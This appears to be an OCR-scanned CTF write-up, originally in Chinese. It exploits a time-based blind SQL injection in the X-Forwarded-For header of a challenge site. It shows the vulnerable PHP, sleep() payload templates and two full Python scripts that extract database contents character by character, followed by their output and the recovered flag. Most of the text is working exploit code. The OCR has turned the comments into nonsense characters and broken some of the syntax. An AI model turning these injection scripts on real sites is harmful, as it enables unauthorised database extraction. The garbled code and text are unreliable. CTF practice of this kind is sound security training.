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$ip = $_SERVER['HTTP_X_FORWARDED FOR'];
if (lisset($ip)){

$ip = $_SERVER['REMOTE_ADDR'];
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$sql = "insert into client_ip(ip) values($ip)";
fi# VA% BB 3R T
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' or sleep(3 * ({boolean# i#})) or'
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sleep(3 * ((select ) from information_schema where
table_schema=database())<20))
sleep(3 * ((select from 1 for 1)) from information_schema

where table_schema=database)>50))
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# -*-coding:utf-8-*-
import requests, time, sys
from argparse import ArgumentParser

sqli_tpl = "' or sleep(3 * (({select}){condition})) or '"
select_length_tpl = 'select length(group_concat({field_name})) from {table} {where}'
select_nth_char_tpl = 'select ord(substr(group_concat({field_name}) from {idx} for 1)) from {table} {where}

def test(select, condition):
print('\ttesting condition:%s\t for select: %s' % (condition, select))
sqli = sqli_tpl.format(select=select, condition=condition)
start = time.time()
try:
resp = requests.get('http://ctf5.shiyanbar.com/web/wonderkun/index.php', headers={'X-Forwarded-For': sqli
except KeyboardInterrupt as e:
print('FHFBH!")
sys.exit(0)
except BaseException:
pass
# WM EK T 38, MiREH Ntrue

return time.time() - start > 3

def binary_search_length(field, table, where):
print('EH#WR: %s FFB: %s HMEKE' % (table, field))
select = select_length_tpl.format(field_name=field, table=table, where=(' where ' + where) if where else '
r = binary_search(select, 0, 10000)
print('FE: %s HFE&: %s HEKEN: %d' % (table, field, r))

return r

def binary_search_value(field, table, where, total_length):
result = "'
for i in range(1, total_length+l):
print('IEEEEHE %d MERF' % 1)
select = select_nth_char_tpl.format(field_name=field, table=table, idx=i, where=(' where ' + where) if wh
value = chr(binary_search(select, 0, 128))
print('EH@HRY, F %d NMERFA %' % (i, value))
result += value
print('HEIER: %s' % result)
print('EHER, K: %s PFEB: %s KIKEN: %' % (table, field, result))
return result

def binary_search(select, minV, maxV):
median = (minV+maxV)//2
if median == minV:

return minV if test(select, '='+str(minV)) else maxV
if test(select, '>='+str(median)):

return binary_search(select, median, maxV)
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else:
return binary_search(select, minV, median)

parser = ArgumentParser(description="#TH K sqliE AR, #Eid =H5ERELIH --by Monk')
parser.add_argument('-t', '--table', help='EZifKEL", required=True)
parser.add_argument('-f', '--field', help='E&Z#HKFEL"', required=True)
parser.add_argument('-w', '--where', help='#ifj%")

if __name__ == '__main__":
args = parser.parse_args()

length = binary_search_length(args.field, args.table, args.where)
binary_search_value(args.field, args.table, args.where, length)
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testing condition:>=b4 » gelect: select ordisubstr{group_concat{f lag]
239 for 1)) from flag
testing condition:>=32 + select: select ordisubstr{group_concat{f lag|
239 for 12> from flag
testing condition:>=16 » gelect: select ordisubstr{group_concat{f lag]
237 for 1)) from flag
testing condition:>=8 « select: select ordisubstri{group_concat{f lag|
239 for 1)) from flag
testing condition:>=4 « select: select ordisubstr{group_concat{f lag|
237 for 1)) from flag
testing condition:>=2 » gelect: select ordisubstr{group_concat{f lag]
239 for 1)) from flag
testing condition:>=1 « select: select ordisubstr{group_concat{flag|
239 for 12> from flag
testing condition:=8 » gelect: select ordisubstr{group_concat{f lag]
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# -*-coding:utf-8-*-

import requests
import time

payloads = 'abcdefghijklmnopgrstuvwxyz0123456789@_.{}-' #ARXAHKNEK

flag = ""
print("Start")
for i in range(33):
for payload in payloads:
starttime = time.time()#iCIt4aiH A
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"#@&Hurl
headers = {"Host": "ctf5.shiyanbar.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Cookie": "Hm_lvt 34d6f7353ab@915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471
"Connection": "keep-alive",
"X-FORWARDED-FOR":"127.0.0.1"' and case when ((select count(flag) from flag where flag 1li
¥
#bpE FlheaderF X X- FORWARDED- FORBEATERL, EHIBEAIREAMflaghikFtflag, HHF R Aflag, payloadZEH
res = requests.get(url, headers=headers)
if time.time() - starttime > 5:
starttime2 = time.time()
res = requests.get(url, headers=headers)
if time.time() - starttime > 5:
flag += payload
print('\n flag is:', flag, )
break
else:
print('"',)#BBMBENT, BmEAKRpayload, REIBMERFlag b EZRFHAERT—H
print('\n[Finally] current flag is %s' % flag)

[Flﬁally] current flag 1s cdbfl14c9551d5bebE612f Tbb5d286T853 :j
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